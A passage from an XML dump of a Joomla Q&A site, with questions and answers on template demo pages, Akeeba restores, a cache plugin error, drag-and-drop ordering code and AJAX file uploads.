  <row Id="14358" PostTypeId="2" ParentId="14357" CreationDate="2015-11-18T14:09:00.623" Score="1" Body="&lt;p&gt;It would be best if the Demo site to preview the Joomla templates was &lt;strong&gt;not&lt;/strong&gt; actually a Joomla powered site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be honest, it's more simple than you may think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to create a static HTML site with a dropdown list of some sort, showing all your Joomla template names. In this HTML page, you will also need an iframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When one of the options is selected, you will need to change the &lt;code&gt;src&lt;/code&gt; attribute of the iframe to load the selected template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each template should be on a separate Joomla installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe have a look at how &lt;a href=&quot;http://yootheme.com/demo&quot; rel=&quot;nofollow&quot;&gt;Yootheme have done their Demo page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-11-18T14:09:00.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14359" PostTypeId="2" ParentId="14355" CreationDate="2015-11-18T16:14:48.413" Score="4" Body="&lt;p&gt;As @lodder says, the JPA file generated by Akeeba Backup contains everything you need (files and database, including Joomla itself), so all you need to do is upload the JPA file and kickstart.php to your server and visit &quot;&lt;a href=&quot;http://yourdomain.com/kickstart.php&quot; rel=&quot;nofollow&quot;&gt;http://yourdomain.com/kickstart.php&lt;/a&gt;&quot; (if you're using Kickstart pro, you'll have to rename the file to something else first).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But since you mention a missing MySQL error, I'd like to add some notes regarding the database restoration, as this part can be confusing sometimes. The &lt;a href=&quot;https://www.akeebabackup.com/documentation/troubleshooter/abidatabase.html&quot; rel=&quot;nofollow&quot;&gt;Kickstart documentation&lt;/a&gt; explains this quite detailed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error message is most likely because you didn't enter the correct database information in the dialog box. &lt;a href=&quot;http://www.strato-faq.co.uk/article/567/This-is-how-you-use-the-MySQL-Database.html&quot; rel=&quot;nofollow&quot;&gt;This page&lt;/a&gt; has some information on how to set up a database on strato.de&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A couple of things to remember:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You must create the database on your new host. Joomla and Akeeba Backup cannot create the database for you.&lt;/li&gt;&#xA;&lt;li&gt;During the restoration process, you must provide the details for your new database, &lt;em&gt;not&lt;/em&gt; from your original site.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-11-18T16:14:48.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14360" PostTypeId="1" CreationDate="2015-11-19T03:37:44.770" Score="0" ViewCount="57" Body="&lt;p&gt;Is it possible to place the contents of a Joomla menu item within an article?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a little background to what I'm trying to achieve:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently using a Joomla component, &lt;a href=&quot;http://www.form2content.com/&quot; rel=&quot;nofollow&quot;&gt;form2content&lt;/a&gt; on my site for reviews of different courses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reviews for all courses are in 1 Joomla category.&#xA;Specific course review pages have been setup using the 'Filtered Article List'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to add on the bottom of the courses pages (which is a Joomla article), the reviews specific to those courses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally (but doesn't look possible) I would create a Module with a 'Filtered Article List' (containing only reviews in the specific course) and add this module to the bottom of the course page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as I say this isn't possible.&lt;/p&gt;&#xA;" OwnerUserId="5805" LastEditorUserId="1629" LastEditDate="2015-11-19T17:27:25.970" LastActivityDate="2015-11-19T17:41:56.577" Title="Placing contents from a page, within another page" Tags="|content|content-filtering|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14363" PostTypeId="1" CreationDate="2015-11-19T09:42:17.223" Score="0" ViewCount="269" Body="&lt;p&gt;I'm having canonical issues with my website. When I visit the homepage, I see &lt;code&gt;http//www.vincousa.com/?productsublayout=0&lt;/code&gt; as the URL in my address bar. I would like &lt;code&gt;http://www.vincousa.com&lt;/code&gt; as the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using VirtueMart 3.0.9 with Joomla version 3.4.3. &lt;/p&gt;&#xA;" OwnerUserId="7301" LastEditorUserId="3650" LastEditDate="2016-03-06T21:21:31.523" LastActivityDate="2018-01-03T23:16:16.857" Title="Canonical issues- incorrect URL shown on home page" Tags="|joomla-3.4|sef|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14367" PostTypeId="2" ParentId="14360" CreationDate="2015-11-19T17:41:56.577" Score="1" Body="&lt;p&gt;There are a couple of plugins at the JED that can load a component anywhere you like (inside articles, inside modules etc.).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/components-anywhere&quot; rel=&quot;nofollow&quot;&gt;NoNumber Components Anywhere&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA; With Components Anywhere you place components anywhere in your site. So you can now place a component inside an article or even within modules.&lt;br&gt;&#xA;The syntax is super simple. Just place this where you want that component to show:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{component url/of/the/component}.&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/include-component&quot; rel=&quot;nofollow&quot;&gt;Include Component&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;The syntax is &lt;code&gt;{component url='' }&lt;/code&gt;. Replace with the url to your component and include &lt;code&gt;index.php?&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{component url='index.php?option=com_component&amp;amp;amp;Itemid=73&amp;amp;amp;parameters....' }&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Maybe one of these will help achieving what you're trying to do.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-11-19T17:41:56.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14368" PostTypeId="1" AcceptedAnswerId="14370" CreationDate="2015-11-19T19:49:09.987" Score="1" ViewCount="370" Body="&lt;p&gt;I have just transfered a web site to a new host using Akeeba. On the face of things it looks ok but when I try to change something in the global configuration, I get a blank page when saving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I edite the configuration.php to enable more logging and get the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Notice: Undefined index: SERVER_ADDR in&#xA;  /mnt/webw/b2/78/56896778/htdocs/plugins/system/jSGCache/jSGCache.php&#xA;  on line 176 Warning: fsockopen(): php_network_getaddresses:&#xA;  getaddrinfo failed: node name or service name not known in&#xA;  /mnt/webw/b2/78/56896778/htdocs/plugins/system/jSGCache/jSGCache.php&#xA;  on line 183 Warning: fsockopen(): unable to connect to :80&#xA;  (php_network_getaddresses: getaddrinfo failed: node name or service&#xA;  name not known) in&#xA;  /mnt/webw/b2/78/56896778/htdocs/plugins/system/jSGCache/jSGCache.php&#xA;  on line 183 Fatal error: Call to undefined function&#xA;  php_network_getaddresses: getaddrinfo failed: node name or service&#xA;  name not known() in&#xA;  /mnt/webw/b2/78/56896778/htdocs/plugins/system/jSGCache/jSGCache.php&#xA;  on line 188&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7193" LastActivityDate="2017-11-26T17:57:27.643" Title="'fsockopen(): unable to connect to :80' when saving global configuration" Tags="|joomla-3.x|global-configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14369" PostTypeId="2" ParentId="9653" CreationDate="2015-11-19T19:50:47.077" Score="-2" Body="&lt;p&gt;Make sure your not missing &lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&lt;/code&gt; inside head tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;&#xA;....&#xA;    &amp;lt; jdoc:include type=&quot;head&quot; /&amp;gt;&#xA;....&#xA;&amp;lt;/head&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7304" LastEditorUserId="1629" LastEditDate="2015-11-19T21:20:28.117" LastActivityDate="2015-11-19T21:20:28.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14370" PostTypeId="2" ParentId="14368" CreationDate="2015-11-19T20:04:45.007" Score="2" Body="&lt;p&gt;In the Joomla backend, go to your Plugin Manager, and disable the Siteground Cache plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once done, try making and saving your changes in the Global Configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As much as I love Siteground hosting, I'm not a big fan of their caching facilities.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-11-19T20:04:45.007" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14371" PostTypeId="2" ParentId="2259" CreationDate="2015-11-19T20:44:33.713" Score="0" Body="&lt;p&gt;I have done this a few ways, the easiest way I found which involved no coding whatsoever was using the built in Joomla permissions. As long as you have different user groups for each class, you can create a different menu item for each type called Yoga Members, Kickboxing Members, etc., and just set the permissions on each to only display for that specific user group, so people belonging to the Yoga class user group only see the Yoga Members menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't work if the situation you need the dynamic menu items for isn't able to use those user groups, but for something like membership in classes it should work.&lt;/p&gt;&#xA;" OwnerUserId="7305" LastActivityDate="2015-11-19T20:44:33.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14373" PostTypeId="2" ParentId="13470" CreationDate="2015-11-19T21:58:50.880" Score="2" Body="&lt;p&gt;You need to do the settings in either TinyMCE or JCE based upon which one you are using (set in Global Configuration or overrided in your user account).   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In JCE, the setting is in Editor Profiles-&gt;Default-&gt;Typography-&gt; Container Element &amp;amp; Enter Key: &lt;a href=&quot;https://i.stack.imgur.com/IXLTB.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IXLTB.jpg&quot; alt=&quot;JCE Typography - Container Element &amp;amp; Enter Key&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastEditorUserId="1520" LastEditDate="2015-12-20T08:26:27.743" LastActivityDate="2015-12-20T08:26:27.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14374" PostTypeId="1" AcceptedAnswerId="14378" CreationDate="2015-11-20T00:16:06.103" Score="13" ViewCount="3875" Body="&lt;p&gt;I've developed a small component based on the Joomla Hello World tutorial, and now I would like to implement the same drag-n-drop reordering that many other Joomla components include:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/w1YGa.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/w1YGa.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By sorting by the first column, it's possible to drag each table row in order to change the position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a native way to add this functionality in Joomla, or do I have to program it myself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any nudge in the right direction appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2017-05-08T11:10:26.140" Title="Adding drag-n-drop ordering in component" Tags="|joomla-3.x|component|development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14375" PostTypeId="2" ParentId="14345" CreationDate="2015-11-20T08:43:41.660" Score="2" Body="&lt;p&gt;I think &lt;code&gt;$mydata = $this-&amp;gt;get('MyData');&lt;/code&gt; is the best way to call model's functions if you don't need to pass any argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Model's function are already available in the MVC view logic and using the second method to reload the model feels redundant to me. Usually I write my component's model functions using only arguments passed trough GET or POST and write other functions, that needs args, in the &lt;em&gt;Helper class&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3585" LastActivityDate="2015-11-20T08:43:41.660" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14376" PostTypeId="2" ParentId="9263" CreationDate="2015-11-20T10:11:17.367" Score="7" Body="&lt;p&gt;Look at &lt;a href=&quot;https://gist.github.com/leFlea-snippets/4602845&quot; rel=&quot;noreferrer&quot;&gt;https://gist.github.com/leFlea-snippets/4602845&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP: Joomla - Get active template path&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get active template path from anywhere on Joomla: &#xA;$app    = JFactory::getApplication();&#xA;$path   = JURI::base(true).'/templates/'.$app-&amp;gt;getTemplate().'/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7307" LastActivityDate="2015-11-20T10:11:17.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14377" PostTypeId="1" AcceptedAnswerId="14484" CreationDate="2015-11-20T10:17:30.037" Score="0" ViewCount="192" Body="&lt;p&gt;Here it is. I have a custom html with some mouse hover js function. So, when I click on that fade in 'view' button, I want to display embedded video in wrapper module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I do that?&lt;/p&gt;&#xA;" OwnerUserId="7216" LastActivityDate="2015-11-30T10:45:20.340" Title="Can I put link from custom html to wrapper module?" Tags="|module|jhtml|weblinks|joomla-3.2|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14378" PostTypeId="2" ParentId="14374" CreationDate="2015-11-20T11:03:40.183" Score="17" Body="&lt;p&gt;There are some prerequisites and you have to do some modifications to your view template. But you don't have to develop this feature all on your own.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Prerequisites&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You need a column &lt;em&gt;ordering&lt;/em&gt; of type INT to your database table&lt;/li&gt;&#xA;&lt;li&gt;Your list view should already be sortable (by clicking on the table column headers)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Modifications&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is the most important part to get make your table rows sortable by drag and drop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('sortablelist.sortable', 'itemList', 'adminForm', strtolower($listDirn), $saveOrderingUrl);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should only activate (ie execute the above line) if your table is sorted by the database table column &lt;em&gt;ordering&lt;/em&gt;. You need to find out by which column your table is sorted and in which direction (ASC or DESC). Do this at the beginning of your default.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$listOrder = $this-&amp;gt;escape($this-&amp;gt;state-&amp;gt;get('list.ordering'));&#xA;$listDirn  = $this-&amp;gt;escape($this-&amp;gt;state-&amp;gt;get('list.direction'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check if your table is ordered by column &lt;em&gt;ordering&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$saveOrder = $listOrder == 'a.ordering';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make your table rows sortable by drag and drop if $saveOrder is true. Replace com_example with your component name and &quot;items&quot; in task=items.saveOrderAjax with the name of your list controller:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($saveOrder)&#xA;{&#xA;    $saveOrderingUrl = 'index.php?option=com_example&amp;amp;task=items.saveOrderAjax&amp;amp;tmpl=component';&#xA;    JHtml::_('sortablelist.sortable', 'itemList', 'adminForm', strtolower($listDirn), $saveOrderingUrl);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;$saveOrderingUrl&lt;/strong&gt; will be called via AJAX everytime you drop an item. If your controller is extending the right Joomla MVC class (JControllerAdmin) this method is automatically available for you. &lt;strong&gt;itemList&lt;/strong&gt; is the ID of your HTML table, and &lt;strong&gt;adminForm&lt;/strong&gt; is the name (or ID, not sure) of your HTML form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_example&amp;amp;view=items'); ?&amp;gt;&quot; method=&quot;post&quot; name=&quot;adminForm&quot; id=&quot;adminForm&quot;&amp;gt;&#xA;    ...&#xA;    &amp;lt;table class=&quot;table table-striped&quot; id=&quot;itemList&quot;&amp;gt;&#xA;        ...&#xA;    &amp;lt;/table&amp;gt;&#xA;    ...&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will need a new column in your HTML table. In your screenshot it is the column far left. The table column header looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;th width=&quot;1%&quot; class=&quot;nowrap center hidden-phone&quot;&amp;gt;&#xA;    &amp;lt;?php echo JHtml::_('searchtools.sort', '', 'a.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-menu-2'); ?&amp;gt;&#xA;&amp;lt;/th&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For your table body you most likely have a foreach loop going through all your list items. The first cell in each row of your HTML table will be that drag icon. If you have drag and drop disabled (because your table is not ordered by &lt;em&gt;ordering&lt;/em&gt;) you should deactivate the icon and make a tooltip:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;tbody&amp;gt;&#xA;    &amp;lt;?php foreach ($this-&amp;gt;items as $i =&amp;gt; $item) :&#xA;        $ordering  = ($listOrder == 'ordering');&#xA;    ?&amp;gt;&#xA;    &amp;lt;tr class=&quot;row&amp;lt;?php echo $i % 2; ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;td class=&quot;order nowrap center hidden-phone&quot;&amp;gt;&#xA;        &amp;lt;?php&#xA;            $iconClass = '';&#xA;            if (!$saveOrder) {&#xA;                $iconClass = ' inactive tip-top hasTooltip&quot; title=&quot;' . JHtml::tooltipText('JORDERINGDISABLED');&#xA;            }&#xA;         ?&amp;gt;&#xA;             &amp;lt;span class=&quot;sortable-handler &amp;lt;?php echo $iconClass ?&amp;gt;&quot;&amp;gt;&#xA;                 &amp;lt;span class=&quot;icon-menu&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;             &amp;lt;/span&amp;gt;&#xA;             &amp;lt;?php if ($saveOrder) : ?&amp;gt;&#xA;             &amp;lt;input type=&quot;text&quot; style=&quot;display:none&quot; name=&quot;order[]&quot; size=&quot;5&quot; value=&quot;&amp;lt;?php echo $item-&amp;gt;ordering; ?&amp;gt;&quot; class=&quot;width-20 text-area-order &quot; /&amp;gt;&#xA;             &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;  ...&#xA;&amp;lt;/tbody&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="154" LastEditorUserId="154" LastEditDate="2015-11-20T11:22:51.023" LastActivityDate="2015-11-20T11:22:51.023" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="14379" PostTypeId="2" ParentId="10058" CreationDate="2015-11-20T13:05:25.417" Score="-1" Body="&lt;p&gt;In case you haven't found it yet, that's what you're loooking for:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://forum.joomla.org/viewtopic.php?f=708&amp;amp;t=846690&quot; rel=&quot;nofollow&quot;&gt;http://forum.joomla.org/viewtopic.php?f=708&amp;amp;t=846690&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7308" LastActivityDate="2015-11-20T13:05:25.417" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14380" PostTypeId="1" CreationDate="2015-11-20T13:55:35.080" Score="0" ViewCount="156" Body="&lt;p&gt;I have just installed Joomla as a Web App on Azure by selecting it from the gallery. When I tried to log in to the back end I was told the user didn't exist, despite having given the username and password as part of the set-up process. To double-check I logged into the ClearDB MySQL database using MySQL Workbench and checked the &lt;code&gt;database.jos_users&lt;/code&gt; table where I assumed (I'm a total Joomla newbie if you hadn't guessed) the user data would be. There are no rows in the table. Can I add an admin user by directly adding data into this table? If I can, what would the SQL for that be? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or should I just delete the entire installation and try again making the admin username &quot;admin&quot; instead of trying to be clever and putting something non-obvious as the username as I did this time?&lt;/p&gt;&#xA;" OwnerUserId="7309" LastActivityDate="2016-06-17T20:41:40.227" Title="Joomla installation on Azure creates site with no users" Tags="|joomla-3.x|installation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14381" PostTypeId="2" ParentId="14380" CreationDate="2015-11-20T16:12:03.033" Score="0" Body="&lt;p&gt;I went for trying again without changing the admin username and this time it worked. I now have an operational Joomla site. &lt;/p&gt;&#xA;" OwnerUserId="7309" LastActivityDate="2015-11-20T16:12:03.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14383" PostTypeId="1" AcceptedAnswerId="14391" CreationDate="2015-11-21T06:38:04.253" Score="1" ViewCount="1088" Body="&lt;p&gt;I have implemented multilingualism in my joomla 3.4.5 website. I have two languages, french and English. I would like to make it possible that when a user logs onto this website the site automatically detects the location and based on that location redirects the user to specific language site associated with that location. is it possible to achieve this in Joomla? Please guide me here&lt;/p&gt;&#xA;" OwnerUserId="5507" LastActivityDate="2020-01-06T11:45:56.200" Title="Location detection in joomla" Tags="|joomla-3.4|multilingual|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14385" PostTypeId="1" CreationDate="2015-11-21T09:38:04.337" Score="0" ViewCount="89" Body="&lt;p&gt;Facebook button that comes by default with K2 extension under articles is not working properly. When Facebook button is clicked, the menu does not open to full length so that one can press post button (For instance, see this article &lt;a href=&quot;http://www.sdsolutions.firm.in/business-management/item/28-4-things-to-define-in-project-report-when-it-comes-to-value-creation&quot; rel=&quot;nofollow&quot;&gt;http://www.sdsolutions.firm.in/business-management/item/28-4-things-to-define-in-project-report-when-it-comes-to-value-creation&lt;/a&gt;).  &lt;/p&gt;&#xA;" OwnerUserId="2203" LastActivityDate="2015-11-22T06:41:32.813" Title="K2 extension: Social media (particularly Facebook) button with articles not working properly" Tags="|k2|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14387" PostTypeId="2" ParentId="13990" CreationDate="2015-11-21T09:53:01.817" Score="2" Body="&lt;p&gt;You would add component. Overrides to the admin template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example, if you wanted to override the com_content/views/articles/tmpl/overview.php  component file you would place it in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/templates/protostar/html/com_content/articles/overview.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replacing the protostar with your Joomla! Admin template in view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this doesn't answer your post, please be more specific.&lt;/p&gt;&#xA;" OwnerUserId="7212" LastActivityDate="2015-11-21T09:53:01.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14388" PostTypeId="2" ParentId="14383" CreationDate="2015-11-21T10:00:29.130" Score="0" Body="&lt;p&gt;You can do it based on geoip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See:&#xA;&lt;a href=&quot;http://www.metamodpro.com/blog/automatically-switch-language-in-joomla-25.html&quot; rel=&quot;nofollow&quot;&gt;http://www.metamodpro.com/blog/automatically-switch-language-in-joomla-25.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I personally wouldn't suggest it as you can't assume that everyone in a set country reads that countries language. &lt;/p&gt;&#xA;" OwnerUserId="7212" LastActivityDate="2015-11-21T10:00:29.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14389" PostTypeId="2" ParentId="9305" CreationDate="2015-11-21T10:04:57.947" Score="1" Body="&lt;p&gt;You are using getelementbyId,but no Id is set. Instead use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GetElementByClass&lt;/p&gt;&#xA;" OwnerUserId="7212" LastActivityDate="2015-11-21T10:04:57.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14391" PostTypeId="2" ParentId="14383" CreationDate="2015-11-21T16:25:46.807" Score="3" Body="&lt;p&gt;I wouldn't personally base the language on where the user is located. For example, I'm English but lived in Spain for some years, however I would still want to view a site in English, given the choice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to consider using Joomla's Language Filter plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a look at it, you see an options called &lt;strong&gt;Language Selection for new Visitors.&lt;/strong&gt;, which you can set to &lt;strong&gt;Browser Settings&lt;/strong&gt;. This will try to detect the browser settings and change the language of the site if possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either that, or use the Language module to allow the user to change it.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-11-21T16:25:46.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14393" PostTypeId="1" AcceptedAnswerId="14394" CreationDate="2015-11-21T22:49:56.363" Score="3" ViewCount="2060" Body="&lt;p&gt;I am finding a way to submit the form which contains a file input along with some other text inputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;view&lt;/strong&gt;&#xA;This is a simple view with a text box, file box and hidden boxes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; name=&quot;adminForm&quot; id=&quot;profile-form&quot; enctype=&quot;multipart/form-data&quot; &amp;gt;&#xA;  &amp;lt;input type='text' value='hello1'&amp;gt;&#xA;  &amp;lt;input type='file' name='profileimage'&amp;gt;&#xA;  &amp;lt;input type='button' id='btnimageadd' value='Upload'/&amp;gt;&#xA;  ...&#xA;  ....&#xA;  &amp;lt;input type='hidden' name='task' value='' /&amp;gt;&#xA;  &amp;lt;input type='hidden' name='option' value='com_mycomponent' /&amp;gt;&#xA;  &amp;lt;?php echo JHtml::_('form.token'); ?&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;controller&lt;/strong&gt;&#xA;Controller method to catch the ajax request and pass to model for processing&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function profilePictureUpload(){&#xA;  JRequest::checkToken() or die( 'Invalid Token' );&#xA;  $model = $this-&amp;gt;getModel();&#xA;  $response = $model-&amp;gt;uploadPicture();&#xA;  JFactory::getDocument()-&amp;gt;setMimeEncoding( 'application/json' );&#xA;  echo $response ;&#xA;  JFactory::getApplication()-&amp;gt;close();&#xA;&#xA;  return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;model&lt;/strong&gt;&#xA;Actual model to do the processing.  For debugging purposes I just put a print_r for the formdata to check whether all data on the form reaching the server.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function uploadPicture() {&#xA;   $input = JFactory::getApplication ()-&amp;gt;input;&#xA;   $formdata = $input-&amp;gt;get ( 'jform', '', 'array' );&#xA;   print_r($formdata);&#xA;   return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Ajax&lt;/strong&gt;&#xA;This will get trigger when the button is clicked.  This is to submit the form to the server to do the image upload.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('#btnimageadd').on('click', (function(e){&#xA;  jQuery('#task').val('profile.profilepictureupload');&#xA;  var dataString = jQuery(&quot;#profile-form&quot;).serialize();&#xA;&#xA;  jQuery.ajax({&#xA;    url: &quot;index.php&quot;,&#xA;    type: &quot;POST&quot;,&#xA;    data:  dataString,&#xA;    cache: false,&#xA;    processData:false,&#xA;    success: function(result){&#xA;      console.log(result);&#xA;    },&#xA;    error: function(result){&#xA;      console.log(result);&#xA;    }&#xA;  });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I submit the form via AJAX in the above method only the text and hidden elements are only submitted to the form but not the selected image file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While googling I found an another thread which explains a way to submit the form with all input types.  However I am not able to make it work inside Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a 